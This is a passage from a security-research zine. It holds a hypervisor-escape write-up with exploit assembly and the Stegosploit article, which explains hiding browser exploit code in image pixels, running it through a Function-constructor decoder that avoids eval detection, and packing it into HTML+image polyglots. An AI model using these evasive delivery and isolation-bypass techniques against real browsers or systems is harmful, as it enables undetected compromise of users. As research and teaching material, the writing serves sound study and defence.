A suffix command to indicate the end of programming.

Each command to be programmed on the controller is sent over USB. As an example, Figure 8.7 examines the bytes of the “Windows key+Ctrl+Alt+Shift+A” line of the script.

Image

Figure 8.7: Example Jiggler Packet: “Windows key+Ctrl+Alt+Shift+A”

Image

Figure 8.8: Jiggler Keycode Table

Image

8:6 The Hypervisor Exploit I Sat on for Five Years

by DJ Capelis and Daniel Bittman

Among its many failings, peer review is especially deficient when it comes to computer security. The idea that a handful of busy researchers will properly review a security system described solely in a paper in the time they’re reading through a large stack of papers is one of the extreme blind spots of our field’s academic process.

It is not surprising systems with holes appear in published literature. Unfortunately, there’s not even a good process to correct these situations when holes are found. The authors of papers are not required to provide code, so even if one suspects a hole exists, writing a proof of concept requires reconstructing the system described in the paper sufficiently well enough to have something to exploit. And then, of course, there’s no point in doing any of this work, since “I found a bug in a published system” is not usually publishable, unlike every single other branch of science where disproving a published result is notable. In computer science, it’s never notable when our papers are broken.

So neighbors, this was the situation I found myself in for the past five years or so, as I sat on a hypervisor bug in a research system no one really used. The authors, meanwhile, ignored e-mails, filed a patent on the technology described in their paper, and went on to continue a successful career in research.

Luckily, in the intervening years, a few things happened:

  1. PoCGTFO started publishing, which means anything our Pastor likes can be published here. And, especially when the Pastor has been drinking, obscurity is no bar to entry.

  2. I ran into Daniel, who was building an operating system anyway and figured making a PoC for this bug was something he might as well do. (I was too fed-up by this point to spend the time on it.)

So without further ado, let me describe the system we pwn’d and how we pwn’d it.

The paper we’re breaking in this article is Secure In-VM Monitoring Using Hardware Virtualization, published by Sharif et al in 2009 at the ACM Conference on Computer and Communications Security. As these things go, in academia this is considered a “top tier” conference. Back in the dark ages, when dragons roamed the earth, and we didn’t have support of Extended Page Tables (EPT) in our Intel chips, rapid page table switches were expensive. The goal of this paper was to allow quick switching between security contexts without requiring an expensive VMEXIT/VMENTER. The researchers cleverly leveraged CR3 Target Values, which allow a limited (4, usually) set of addresses that non-root VMX code can set as the page tables base in the CR3 register. This effectively allows an untrusted operating system to switch page tables into the code used to do introspection without causing a VMEXIT.

This neat hack caused the average overhead of their syscall introspection code to go from 46% to 4%. Which basically means that their system moved from an unreasonable performance penalty down to a level where someone could take it seriously. Which would be nice, if they could keep the same security guarantees.

The security constraints were implemented in the page tables, as shown in Figure 8.9.

In theory, this page table setup means that the system under monitoring can never set a CR3 value without causing a fault, except by going through the entry and exit gates. Attempts to jump directly to the introspection code fail since those pages aren’t mapped into the monitored code’s view of memory. Attempts to change the CR3 value to the introspection code’s page tables outside the entry gates fail because the next instruction executes in the context of the introspection code, where all those pages aren’t mapped as executable. The only way to jump into the introspection code, according to the paper, is through the entry/exit gate code present in the shared gate pages and mapped as executable in both.

Image

Figure 8.9: Page Table Security Constraints

Image

Figure 8.10: SeaOS Exploit Running on Real Hardware

What we really want is a way to cause the processor to jump and move page tables at the same time. In some other architectures (SPARC, for instance) there’s the concept of a delay slot, where some instructions take another instruction to fill otherwise empty pipeline bubbles. In an architecture like this, jumping out of the security boundary is trivial. . . but this is x86; x86 doesn’t have delay slots, right?

Turns out, that is not exactly true. Quoth the Intel Architecture Manual Volume 2B on the STI instruction:

After the IF flag is set, the processor begins responding to external, maskable interrupts after the next instruction is executed. The delayed effect of this instruction is provided to allow interrupts to be enabled just before returning from a procedure (or subroutine). For instance, if an STI instruction is followed by a RET instruction, the RET instruction is allowed to execute before external interrupts are recognized.

All we need to do is turn off interrupts, queue one, route the interrupt handler into the introspection code’s address space, then MOV the introspection code’s page table base into CR3 right after we re-enable interrupts with the STI instruction. Then we can just ROP our way through the monitor code and do as we please.

And that’s where I stopped at three o’clock in the morning five years ago. I had the concept, but it took us another five years to getting around to proving it works on real hardware. As you can see in Figure 8.10, it totally does.

The final exploit turned out a little different. The most straightforward way to implement this in practice is to utilize the trap flag (TF). When you enable this, POPF has the same one-instruction delayed behavior that we see in STI, and so you merely just set TF with POPF and move a new value into CR3 as the next instruction. Thus, the resulting code looks like this:

 1 cli
   mov rsp, 0x2500 ; we'll need a stack for the interrupt handler
 3 ; read the monitor's CR3 from somewhere inside the trap code
   mov rax, qword [0x1000]
 5 lidt [idtr]                ; load the interrupt table
   pushfq                     ; get the flags
 7 or qword [rsp], 100000000b ; set TF
   popf                       ; set the flags
 9 mov cr3, rax               ; change address spaces
   ; <--- TF triggers interrupt here
11 loop:
   jmp loop

8:6.1 Reproducibility

Everything you see here can be reproduced by running the code in the vm-exploit branch of the SeaOS kernel tree.21 The code for the proof of concept itself is also in that repository.22

8:6.2 Concluding Rant

The scientific community has a structural problem. In computer science, we do not require researchers to build real systems that can be scrutinized. We do not have a mechanism for thorough review, so we generally do not bother publishing work that breaks another paper. Our field just doesn’t consider a broken paper to be particularly notable.

Academics in computer science are doomed to talk nonsense unless we fix these issues. Further, researchers in our field are continuing to drift towards irrelevance if they simply follow the system of incentives that makes it a better career move to drop a paper and file a patent than do the work of building real systems and determining real truths about our machines.

To the authors of this paper in particular?
Enjoy your useless fucking patent.
Love,
~djc

Image

8:7 Stegosploit

by Saumil Shah

Stegosploit creates a new way to encode browser exploits and deliver them through image files. These payloads are undetectable using current means. This paper discusses two broad underlying techniques used for image-based exploit delivery—Steganography and Polyglots. Browser exploits are steganographically encoded into JPEG and PNG images. The resultant image file is fused with HTML and Javascript decoder code, turning it into an HTML+Image polyglot. The polyglot looks and feels like an image, but it is decoded and triggered in a victim’s browser when loaded.

The Stegosploit Toolkit v0.2, released along with this paper, contains the tools necessary to test image-based exploit delivery. A case study of a Use-After-Free exploit (CVE-2014-0282) is presented with this paper demonstrating the Stegosploit technique.

8:7.1 Introduction

The probability of an exploit succeeding in compromising its target depends largely upon three factors. Obviously, (1) the target software must be vulnerable, but also the exploit code must not be (2) detected and neutralized in transit or (3) detected and neutralized at the destination.

As malware and intrusion detection systems improve their success ratio, stealthy exploit delivery techniques become increasingly vital in an exploit’s success. Simply exploiting an 0-day vulnerability is no longer enough.

This article is focused on browser exploits. Most browser exploits are written in code that is interpreted by the browser (Javascript) or by popular browser add-ons (ActionScript/Flash).

Image

When it comes to browser exploits, typical means of detection avoidance involve payload obfuscation; some browser exploits will obfuscate individual characters,23 while others will split the attack code over multiple script files. Others will use OLE-embedded documents or split the attack code between Javascript and Flash using ExternalInterface.24

Exploit detection technology relies upon content inspection of network traffic or files loaded by the application (browser). Content is identified as suspicious either by signature analysis or behavioral analysis. The latter technique is more generic and can be used to detect 0-day exploits as well.

I began experimenting with exploit delivery techniques involving containers that are presumed passive and innocent: images. As a photographer, I have had a long history of detailed image analysis, exploring image metadata and watermarking techniques to detect image plagiarism. Is it possible to deliver an exploit using images and images alone?

My first attempt was to convert Javascript code into image pixels, each character represented by an 8-bit grayscale pixel in a PNG file. The offensive Javascript exploit code is converted into an innocent PNG file. The PNG image is then loaded in a browser and decoded using an HTML5 CANVAS. Decoding is performed via Javascript. The decoder code itself is not detected as being offensive, since it only performs CANVAS pixel manipulation.

Representing Javascript as PNG pixels was explored in 2008 by Jacob Seidelin for an entirely different reason, compressing bulky Javascript libraries.25

Borrowing from the CANVAS PNG decoder, I demonstrated an exploit for the Mozilla Firefox 3.5 Font Tags Remote Buffer Overflow (CVE-2009-2478)26 vulnerability delivered via a grayscale PNG image for the first time in my Hack.LU 2010 talk, “Exploit Delivery—Tricks and Techniques.”27 The code for this exploit is shown in Figure 8.11, while the same exploit can be compressed into the following PNG image.

In 2014, Sucuri reported a browser exploit campaign that used the now dubbed “255 shades of gray” exploit delivery technique employing the same CANVAS PNG decoder Javascript that I had demonstrated in 2010.28 See Figures 8.11 and 8.12.

Since 2010, I have been working on several techniques for sophisticated exploit delivery using images. The results of my research have led to the Stegosploit toolset, which I shall use to demonstrate delivering and triggering an exploit for the Internet Explorer CInput Use-After-Free vulnerability (CVE-2014-0228) using a single image.29

My motivation for image-based exploit delivery is simple. I want to study the effectiveness of image-based exploit delivery, explore ramifications on exploit detection, and evolve new mitigation techniques to combat future threats. However, my main motivation still remains delivering exploits in style, and combining them with my photography!30

Image

Figure 8.11: Firefox 3.5 Font Tags Buffer Overflow Exploit for CVE-2009-2478

Image

Figure 8.12: 255 Shades of Gray

What follows is a detailed discussion on creating and delivering steganographically encoded exploits using nothing but a single image. We shall take a known Internet Explorer Use-After-Free vulnerability (CVE-2014-0282), which is currently delivered using HTML and Javascript, and turn it into an exploit that can be delivered via a single image.

Section 8:7.2 introduces CVE-2014-0282, provides a quick tour of the Stegosploit Toolkit, and explains the process of steganographically encoding the exploit code into JPEG and PNG images.

Section 8:7.3 deals with decoding the encoded image using Javascript in the victim’s browser.

Section 8:7.4 introduces HTML+Image polyglots, necessary for packing the decoder and steganographically encoded exploit into a single container.

Section 8:7.5 talks about some of the finer points of HTTP transport when it comes to exploit delivery.

8:7.2 CVE-2014-0282 Case Study

Stegosploit is a portmanteau of Steganography and Exploit. Using Stegosploit, it is possible to transform virtually any Javascriptbased browser exploit into a JPEG or PNG image.

We shall start with a minified Javascript version of the exploit code, tested on Internet Explorer 9 running on Windows 7 SP1. Exploit code for CVE-2014-0282 is shown in Figure 8.13.

The exploit performs a heap spray using HTML5 CANVAS-based on a technique first discussed at EUSecWest 2012 by Federico Muttis and Anibal Sacco,31 and code borrowed from Peter Hlavaty’s HTML5 Heap Spray code, H5Spray.32

Image

Figure 8.13: Exploit for CVE-2014-0282, to be decoded by Figure 8.16.

The exploit sprays a simple VirtualProtect ROP chain and Windows command execution shellcode to launch calc.exe upon successfully triggering the IE CInput Use-After-Free vulnerability.33

To deliver this exploit in style, and also for various practical reasons, let’s obey five restrictions: (1) No data is to be transmitted over the network except JPEG or PNG files. (2) The image displayed in the browser should have no visible aberration or distortion. (3) No exploit code should be present as strings within the image file. (4) The image should decode the exploit code upon being loaded in the browser without any external user interaction. (5) Only ONE image shall be used for this exploit.

We shall begin with a JPEG image of Kevin McPeake, who volunteered to have this exploit painted on his face for a demonstration at Hack In The Box Amsterdam 2015.

Encoding the Exploit Code

Steganography is a well established science. There are several steganography algorithms that not only avoid visual detection but also provide error correction and the ability to survive basic image transformation. Popular algorithms such as F534 have been implemented in Javascript.35 However, we will use very basic steganography to keep the decoder code compact and simple.

An image is essentially an array of pixels. Each pixel can have three channels: Red, Green, and Blue. Each channel is represented by an 8-bit value, which provides 256 discrete levels of color. Some images also have a fourth channel, called the alpha channel, which is used for pixel transparency. We shall restrict ourselves to using only the R, G, and B channels. A black and white image uses the same values for R, G, and B channels for each pixel.

Let us, for simplicity’s sake, consider black and white images to start with. Keeping in mind 8-bit grayscale values, we can visualize an image to be composed of eight separate bit layers. Layer 0 is an image formed by values of the least significant bit (LSB) of the pixels. Layer 1 is formed by values of the second least significant pixel bit. Layer 7 is formed by values of the most significant bit (MSB) of all the pixels.

Kevin’s image can be decomposed into eight layers, one per bit, as shown in Figure 8.14.

Note that the images are equalized to show the presence and absence of pixel bits. Layer 7 contributes the maximum information to the image. It is akin to the broad outlines of a painting. As we step down through the layers, the information contributed to the image decreases, but the level of detail increases. Layer 0 in isolation looks like noise and contributes to the finer shade variations in the overall image.

Think of the layers as transparent sheets. When they are superimposed together, they will result in the complete image. The exploit code shall be written on one of these transparent sheets. First, the exploit code is converted to a bit stream. Each bit from the exploit bit stream is written onto the bit in the image’s layer. The layers are then superimposed together to create an image, one that contains the exploit code encoded in its pixels. Encoding the exploit bit stream on higher layers will result in significant visual distortion of the resultant image. The goal is to encode the exploit bit stream into lower bit layers, preferably Layer 0 which comprises of the LSB of all the pixels.

For comparison, Figure 8.15 shows two resultant images, with the exploit bit stream encoded on Layer 7 versus Layer 2. The pixel encoding is exaggerated using red (or grey) pixels for 1’s and black pixels for 0’s encoded in a 3 × 3 grid.

Image

Figure 8.14: 8-bit Layers of Kevin’s Image

The resultant image, when the bitstream is encoded on bit layer 2, shows little or no visual aberration, even close up.

JPEG images are compressed using a discrete cosine transform (DCT) based lossy compression algorithm. A pixel may be approximated to its nearest neighbor for better compression at the cost of image entropy and detail. The resultant visual degradation would be negligible, but the loss of pixel data introduces significant errors in steganographic message recovery. To overcome pixel loss of JPEG encoding, we shall use an iterative encoding technique, which shall result in an error-free decoding of the encoded bit stream.

“Exploring JPEG” is an aptly named article that provides detailed explanation of how JPEG files compress image data.36

Iterative Encoding for JPEG Images

JPEG encoders can use variable quality settings. Low quality offers maximum compression. However, even the maximum quality level does not provide us with lossless compression. Certain pixels will still be approximated even if we use the highest possible encoding quality level. To further minimize pixel approximation, we shall not encode the exploit bit stream on consecutive pixels, but rather in a pixel grid with every nth pixel in rows and columns being used for encoding the bit stream. Pixel grids of 3 × 3 and 4 × 4 perform much better compared to encoding on every consecutive pixel. Increased pixel grid dimensions do not make for lower errors.

The encoding process can be represented as follows.

Image

Figure 8.15: Encoded Layers of Kevin

Image

• Let I be the source image.

• Let M be the message to be encoded on a given bit layer of image I.

• Let ENCODE be the steganographic encoder function, and let DECODE be the steganographic decoder function.

• Let b be the number of the bit layer (0–7).

• Let J be the JPEG encoder function.

By encoding message M onto image I, we shall obtain resultant image I', as follows:

I' = J(ENCODE(I, M, b))

Upon decoding image I', we shall obtain a resultant message M', as follows:

M' = DECODE(I', b)

For JPEG images, M' is not equal to M. Let Δ be the error between the original and resultant message.

Δ = M - M'

Our goal is to get Δ = 0. If we re-encode the original message M on resultant image I', we shall obtain a new image I'':

I'' = J(ENCODE(I', M, b))

Decoding I'' will result in message M'' as follows:

M'' = DECODE(I'', b)

Δ' = M - M''

If Δ' < Δ, then we can assume that the encoding process shall converge, and after N iterations, we will get an error-free decoded message and Δ = 0.

Note that since the encoding and decoding processes operate on discrete pixels, certain situations result in non-convergence with neighboring pixels flipping alternately like Conway’s Game of Life. The number of passes required for convergence depends upon the encoder used in the JPEG processor library.

Stegosploit’s iterative encoder tool iterative_encoder.html uses the browser’s built in JPEG processor library via HTML5 CANVAS. All steganographic encoding is performed in-browser using CANVAS. Browsers use different JPEG processor libraries. A steganographically generated JPEG from Firefox will not accurately decode in Internet Explorer, and vice versa. A future goal is to achieve cross-browser JPEG steganography compatibility. For now, PNG provides cross-browser steganography compatibility because it employs lossless compression. Therefore, for CVE-2014-0282, we shall use IE9 to perform the steganographic encoding.

A Few Notes on Encoding on JPEG using CANVAS

All Stegosploit tools use HTML5 CANVAS for image analysis, encoding, and decoding. Here are some of the finer points to be kept in mind for using or extending the tools.37

iterative_encoding.html generates JPEG images using the toDataURL("image/jpeg", quality). The quality parameter is a value between 0 and 1. As mentioned earlier, a value of 1 does not imply lossless encoding. By default, iterative_encoding.html keeps the quality value as 1. Reducing the quality value increases the pixel deviation with each encoding round, prolonging the convergence, and in some cases not leading to convergence at all. The quality of encoding also depends upon whether the encoder uses software-only encoding or hardware assisted encoding. Floating point precision, make and model of GPU, and JPEG libraries across different platforms contribute to minor errors when encoding and decoding across browsers.

I have found that encoding at bit layers 0 and 1 usually never results into convergence when it comes to JPEG. My tests were performed with IE9 and Firefox 21. Bit layers 2 and 3 have shown more success when it comes to encoding, especially on IE. Bit layer 5 and above result in noticeable visual aberration of the encoded image.

A pixel grid of 3 × 3 is preferred for the encoding process. This implies 1 bit for every 9 pixels in the image. Higher pixel grids yield faster convergence and less visual degradation. The JPEG DCT algorithm encodes 8 × 8 pixel squares at a time. It doesn’t make sense to use a pixel grid larger than 8 × 8.

I encountered unusual errors when encoding larger images. The pixel array of the CANVAS appeared to be truncated beyond a certain dimension. For example, encoding was successful on 1024×768 pixel images, but completely fell apart on 1280×850 pixel images. While I have not tested the operating limit in terms of dimensions, a discussion on Stack Overflow38 seems to indicate that IE might limit CANVAS memory to 20MB.

Color images can be thought of as composite images derived from three channels: Red, Green, and Blue. Each image can therefore be visualized as being decomposed into three channels, and each channel is further decomposed into 8-bit layers. We can choose to encode on any one of the 24 image layers.

Firefox’s JPEG encoder outperforms IE’s JPEG encoder when it comes to color images. IE’s JPEG encoder does not usually converge when encoding at bit layers below 3.

Stegosploit’s encoding process only affects the pixel data stored with the JPEG file. All other metadata including EXIF tags do not affect the encoding/decoding process. Encoded images generated from iterative_encoding.html do not retain any metadata present in the original image. This is because toDataURI("image/jpeg") generates entirely new JPEG data. It is possible to copy the original JPEG metadata back onto the encoded image using EXIF manipulation tools such as exiftool.

$ exiftool -tagsFromFile source.jpg
           -all:all encoded.jpg

Certain applications check for validity of images using metadata. Metadata adds more “legitimacy” to the steganographically encoded image.

Encoding for PNG images

PNG images store pixel data using lossless compression. There is no approximation of pixels, and therefore there is no loss of quality. HTML5 CANVAS has the ability to generate PNG images using the toDataURI("image/png") method.

iterative_encoding.html has the ability to auto-detect the source image type, based on its extension, and use the appropriate encoding process.

Encoding on PNG images has several advantages over JPEG:

The encoding process completes in a single pass. Encoding is possible at the lower layer, as the LSB, so no visual aberrations occur in the resulting image. Cross-browser decoding works accurately, and it ought to be possible to encode in the alpha channel!

8:7.3 Decoding the Exploit

A steganographically encoded exploit is performed in roughly the following six steps.

(1) Load the HTML containing the decoder Javascript in the browser.

(2) The decoder HTML loads the image carrying the steganographically encoded exploit code.

(3) The decoder Javascript creates a new CANVAS element.

(4) Pixel data from the image is loaded into the CANVAS, and the parent image is destroyed from the DOM. From here onward, the visible image is from the pixels in the CANVAS element.

(5) The decoder script reconstructs the exploit code bitstream from the pixel values in the encoded bit layer.

(6) The exploit code is reassembled into Javascript code from the decoded bitstream.

(7) The exploit code is then executed as Javascript. If the browser is vulnerable, it will be compromised.

Decoder for CVE-2014-0282

By and large the function of decoding the steganographically encoded exploit remains the same, but certain browser exploits need some extra support, by pre-populating certain elements in the DOM. CVE-2014-0282 is one such exploit that requires elements like <form>, <textarea>, <input> to be present in the DOM before triggering the Use-After-Free via Javascript.

Image

Figure 8.16: Decoder Script and DOM Elements to exploit CVE-2014-0282

The HTML code containing the decoder script and other DOM elements required by CVE-2014-0282 is shown in Figure 8.16.

The HTML code is packed as tightly as possible. There are several important factors to be noted, each serving a specific purpose.

If IE9 does not detect the <!DOCTYPE html> declaration at the beginning of the HTML document, it switches over to Quirks Mode instead of Standards Mode. Without Standards Mode, CANVAS does not work, and our entire decoder process grinds to a halt.

Fortunately, IE can be switched over to Standards Mode using the X-UA-Compatible header as follows:39

1 <head><meta http-equiv="X--UA--Compatible" content="IE=Edge">

The decoder script in Figure 8.16 performs the inverse function of the encoder. The script requires three global variables that are hardcoded in the first line:

bL Bit Layer. It has to match the bit layer used for encoding the bitstream.
eC Encoding Channel. 0 = Red, 1 = Green, 2 = Blue, 3 = All Channels (grayscale)
gr Pixel Grid. Here 3 implies a 3x3 pixel grid, the same grid used in the encoding process.

The script ends by invoking the function exc() with the reconstructed exploit Javascript string.

The most obvious way of executing Javascript code represented as a string would be to use the eval() function. eval(), however, gets flagged as potentially dangerous code.

Another way of executing Javascript code from strings is to create a new anonymous Function object, with the Javascript string supplied as an argument to its constructor. The resultant Function object can then be invoked to the same effect as eval()ing the string.

1  function exc(b){var a=setTimeout((new Function(b)),100)}
   window.onload=i0;

Hat tip to Dr. Mario Heiderich for first discovering this technique.

When delivering exploits in style, the rendered view has to appear neat and clean. Extra DOM elements required for the Use-After-Free bug should not clutter the display. An extra <style> tag inserted into the HTML allows us to selectively display only the image, and hide everything else by default.

  <style>body{visibility:hidden;} .s{visibility:visible;position:
       absolute;top:15p
2 x;left:10px;}</style></head>

This CSS style sets the contents of body as hidden. Only elements with style class s will be displayed. The following DOM elements required for the Use-After-Free are all hidden from view:

  <body><form id=fm><textarea id=c value=a1></textarea>
2 <input id=c2 type=checkbox name=o2 value="a2">
  Test check<Br><textarea id=c3 value="a2"></textarea>
4 <input type=text name=t1></form>

Only the image is visible, since it is wrapped within a <div> tag with CSS class s applied to it. Note the source of the image is set to #, which results into the current document URL. We shall see the usefulness of this trick when we discuss polyglot documents in a later section.

<div class=s><img id=px src="#"></div>

Exploit Delivery - Take 1

At this stage, we have the components necessary to deliver the exploit: (1) the HTML page containing the decoder and (2) the exploit code steganographically encoded in a JPEG file.

Individual inspection of the these two components would reveal nothing suspicious. The decoder Javascript contains no potentially offensive content. Its code simply manipulates CANVAS pixels and arrays.

The encoded JPEG file also carries no offensive strings. All the exploit code—the shellcode, the ROP chain, the Use-After-Free trigger—is now embedded as bits in pixels.

Earlier versions of Stegosploit, like the one demonstrated at SyScan 2015 Singapore used these two separate components to deliver the exploit.

The current version of Stegosploit—v0.2, demonstrated at HITB 2015 Amsterdam—combines the decoder HTML and the steganographically encoded image into a single container.40 If opened in an image viewer, the contents show a perfectly valid JPEG image. If loaded into a browser, the contents render as an HTML document, invoking the decoder code and triggering the exploit, while still showing the image (itself) in the browser!

This is a polyglot document. For a detailed discussion on polyglots, please read up the excellent write-up by Ange Albertini in PoCGTFO 7:6.

8:7.4 HTML+Image = Polyglot

The final product of Stegosploit is a single JPEG image that will trigger the CVE-2014-0282 Use-After-Free vulnerability in IE, when loaded in the browser. Before we get to the mechanics of HTML+JPEG polyglots, we shall take a look at the origins of browser-based polyglots.

IMAJS - Early Work

I first started exploring browser-based polyglots in 2012, trying to combine data formats that are loaded and parsed by browsers. The end result was IMAJS, a successful polyglot of a GIF image and Javascript. The IMAJS technique could also be applied on BMP files. I presented IMAJS polyglots in my talk titled “Deadly Pixels” at NoSuchCon 2013.41

GIF files always begin with the magic marker GIF89a. The idea here is to create a valid GIF image that contains Javascript appended at its end.

When interpreting it as Javascript, it should translate to a variable assignment such as GIF89a = "stegosploit";. However, when rendering it as an image, it should generate a proper image.

The first ten bytes of every GIF file are as follows, where HH HH and WW WW are 16-bit values.

1 47 49 46 38 39 61   HH HH   WW WW
  G  I  F  8  9  a    height  width

If we set the height to 0x2A2F, it translates to /*, which is a Javascript comment. The width could be anything. Most browsers, honoring Postel’s Law, will still render a proper image.

The following is an example of an IMAJS GIF file (GIF+JS), which will pop up a Javascript alert if loaded in a <script> tag:

GIF89a/*...... (GIF image data) .....*/="pwned";alert(Date());

IMAJS BMP (BMP+JS) uses a similar header.

1 42 4D XX XX XX XX 00 00 00 00 ........
  B  M  Filesize    Empty Empty DIB data

The file size is now set to 2F 2A XX XX. At the end of the BMP data, we append our Javascript code. Even though the file size is inaccurate, all browsers properly render the image.

BM/*...... (BMP image data) .....*/="pwned";alert(Date());

Polyglot maestro Ange Albertini has some more examples on Corkami.42

IMAJS GIF or IMAJS BMP could be used to wrap the HTML decoder script, described in Figure 8.16, in an image. Exploit delivery could therefore be accomplished using only two images: one image containing the decoder script, while the other holds the steganographically encoded exploit code. Stylish, but not enough.

Combining HTML in JPEG files

The first step towards single image exploit delivery is to combine HTML code in the steganographically encoded JPEG file, turning it into a perfectly valid HTML file.

Mixing HTML data in JPEG has an advantage over the IMAJS techniques described in Section 8:7.4. The image does not need to be loaded via a <script> tag. The browser will render the HTML directly when loaded and execute any embedded Javascript code along the way. If the same data is loaded within an <img src="#"> tag, the browser will render the image in its display, as mentioned earlier in this article.

Basic JPEG file structure follows the JPEG File Interchange Format (JFIF). JFIF files contain several segments, each identified by the two-byte marker FF xx followed by the segment’s data. Some popular segment markers are listed in the following table.

Marker Code Name
FF D8 SOI Start Of Image
FF E0 APP0 JFIF File
FF DB DQT Define Quantization Table
FF C0 SOF Start Of Frame
FF C4 DHT Define Huffman Table
FF DA SOS Start Of Scan
FF D9 EOI End Of Image

Every JPEG file must begin with a SOI segment, which is just two bytes, FF D8. The APP0 segment immediately follows the SOI segment. The format of the JFIF header is as follows:

 1 typedef struct _JFIFHeader {
     BYTE SOI[2];       // FF D8
 3   BYTE APP0[2];      // FF E0
     BYTE Length[2];    // Length of APP0 field
 5                      // excluding APP0 marker
     BYTE Identifier[5];// "JFIF"
 7   BYTE Version[2];   // Major, Minor
     BYTE Units;        // 0 = no units
 9                      // 1 = pixels per inch
                        // 2 = pixels per cm
11   BYTE Xdensity[2];  // Horiz Pixel Density
     BYTE Ydensity[2];  // Vert Pixel Density
13   BYTE XThumbnail;   // Thumb Width (if any)
     BYTE YThumbnail;   // Thumb Height (if any)
15 } JFIFHEAD;

The Stegosploit Toolkit includes a utility called jpegdump.c to enumerate segments in a JPEG file. Using jpegdump on the steganographically encoded image of Kevin McPeake shows the following results:

jpegdump kevin_encoded.jpg

marker 0xffd8 SOI at offset 0       (start of image)
marker 0xffe0 APP0 at offset 2      (application data section 0)
marker 0xffdb DQT at offset 20      (define quantization tables)
marker 0xffdb DQT at offset 89      (define quantization tables)
marker 0xffc0 SOF0 at offset 158    (start of frame (baseline jpeg))
marker 0xffc4 DHT at offset 177     (define huffman tables)
marker 0xffc4 DHT at offset 210     (define huffman tables)
marker 0xffc4 DHT at offset 393     (define huffman tables)
marker 0xffc4 DHT at offset 426     (define huffman tables)
marker 0xffda SOS at offset 609     (start of scan)
marker 0xffd9 EOC at offset 182952  (end of codestream)

The contents of kevin_encoded.jpg can be represented by the diagram on the left side of Figure 8.17.

The most promising location to add extra content is the APP0 segment. Increasing the two-byte length field of APP0 gives us extra space at the end of the segment in which to place the HTML decoder data, as shown on the right side of the figure.

Stegosploit’s html_in_jpg_ie.pl utility can be used to combine HTML data within a JPEG file.

1 $ ./html_in_jpg_ie.pl decoder_cve_2014_0282.html        
                        kevin_encoded.jpg kevin_polyglot

The resultant kevin_polyglot file increases in size, successfully embedding the HTML data in the slack space artificially created at the end of the APP0 segment. In the following example, the length of the APP0 segment increases from 18 bytes to 12,092 bytes. The HTML decoder code shown in Figure 8.16 is embedded between blocks of random data in the APP0 segment from offset 0x0014 to 0x2f3d.

HTML/JPEG Coexistance

JPEG decoders would have no problem in properly displaying the image contained in the HTML+JPEG polyglot described in Figure 8.19. Browsers, however, would encounter problems when trying to properly render HTML tags. The extra JPEG data would end up polluting the DOM. If the JPEG data contains symbols such as < or >, the browser may end up creating erroneous tags in the DOM, which can affect the execution of the decoder Javascript.

Image

Figure 8.17: Structure of a JPEG (top) and JPEG+HTML (bottom).

Image

Figure 8.18: PNG Structure (top) and PNG+HTML Structure (bottom).

Image

Figure 8.19: JPEG Dump of a Polyglot

To prevent JPEG data from interfering with HTML, we can use a few strategically placed HTML comments <-- and -->. In this example, the <html> tag is placed at offset 0x0014, followed by a start HTML comment <!-- marker. The first block of random data ends with the HTML comment terminator, -->. The contents of the HTML decoder code is written after the HTML comment terminator. At the end of the HTML decoder code, we shall put another start HTML comment <!-- marker to comment out the rest of the JPEG file’s data.

There have been some extreme cases where the JPEG file itself may contain an inadvertent HTML comment terminator -->. In such situations, we can use an illegal start-of-Javascript tag <script type=text/undefined> at the end of the decoder code. This script tag is deliberately not terminated. The DOM renderer will ignore everything following <script type=text/undefined> for HTML rendering. Since the language type is set to text/-undefined, no valid Javascript or VBScript interpreter will run the code contained in this open script tag.

Combining HTML in PNG files

Generating an HTML+PNG polyglot can be done using a technique similar to HTML+JPEG polyglots. We have to inspect the PNG file structure and figure out a safe way for embedding HTML content in it.

PNG File Structure

PNG files consist of an eight-byte PNG signature (89 50 4E 47 0D 0A 1A 0A) followed by several FourCC—Four Character Code—chunks. FourCC chunks are used in several multimedia formats.

Each chunk consists of four parts: Length, a Chunk Type, the Chunk Data, and a 32-bit CRC. The Length is a 32-bit unsigned integer indicating the size of only the Chunk Data field, while the Chunk Type is a 32-bit FourCC code such as IHDR, IDAT, or IEND. The CRC is generated from the Chunk Type and Chunk Data, but does not include the Length field.

Stegosploit’s pngenum.pl utility lets us explore chunks in a PNG file. Running it against a steganographically encoded PNG file shows us the following results:

   $ pngenum.pl pinklock_encoded.png
 2
   PNG Header: 89 50 4E 47 0D 0A 1A 0A - OK
 4 IHDR 13 bytes CRC: 0xE9828D3A (computed 0xE9828D3A) OK
   IDAT 8192 bytes CRC: 0xEDB1ABB8 (computed 0xEDB1ABB8) OK
 6 IDAT 8192 bytes CRC: 0x7BA5829E (computed 0x7BA5829E) OK
   IDAT 8192 bytes CRC: 0xFDF71282 (computed 0xFDF71282) OK
 8 :    :                         :
   IDAT 8192 bytes CRC: 0x3A1BE893 (computed 0x3A1BE893) OK
10 IDAT 8192 bytes CRC: 0x3C9B69C5 (computed 0x3C9B69C5) OK
   IDAT 8192 bytes CRC: 0x8E2E6D15 (computed 0x8E2E6D15) OK
12 IDAT 2920 bytes CRC: 0xAE102222 (computed 0xAE102222) OK
   IEND 0 bytes CRC: 0xAE426082 (computed 0xAE426082) OK

Each PNG file must contain one IHDR chunk, the image header. Image data is encoded in multiple IDAT chunks. Each PNG file must terminate with an IEND chunk.

PNG files are easier to extend than JPEG files. We can simply insert extra PNG chunks. PNG provides informational chunks such as tEXt chunks that may be used to contain image metadata. We can insert tEXt chunks immediately after the IHDR chunk.

tEXt chunks are basically name-value pairs, separated by a NULL byte 0x00. A tEXt chunk looks like this:

1 [length][tEXt][namex00Saumil Shah][CRC]

An approach taken by Cody Brocious (@daeken) explores compressing Javascript code into PNG images in his article, “Superpacking JS demos.”43

We shall take a slightly different approach, which does not involve using illegal PNG chunks, preserving the validity of the PNG file and not raising any suspicions. The right side of Figure 8.18 shows how to embed HTML data within PNG files.

Stegosploit’s html_in_png.pl utility can be used to combine HTML data within a PNG file.

1 $  ./html_in_png.pl decoder_cve_2014_0282.html                
                      pinklock_encoded.png pinklock_polyglot

Figure 8.20 presents the output of pngenum.pl run on this file.

This concludes our discussion on HTML+JPEG and HTML+PNG polyglots for the time being. Next we shall explore delivery techniques for these polyglots, so that these “images” will auto-run when loaded in the browser.

8:7.5 HTTP Transport

In Section 8:7.3, we established the need for HTML+Image polyglots to deliver exploits via a single image. We explored how to prepare HTML+JPEG and HTML+PNG polyglots in Section 8:7.4.

This section provides a few insights into controlling some of the finer points of HTTP transport when it comes to delivering the polyglot to the browser. The primary goal is to enable the image polyglot to be rendered as HTML in the browser, allowing the embedded decoder script to execute when the document loads. The secondary goal is to avoid detection on the network. An interesting side effect of time-shifted exploit delivery will be discussed at the end of this section.

Image

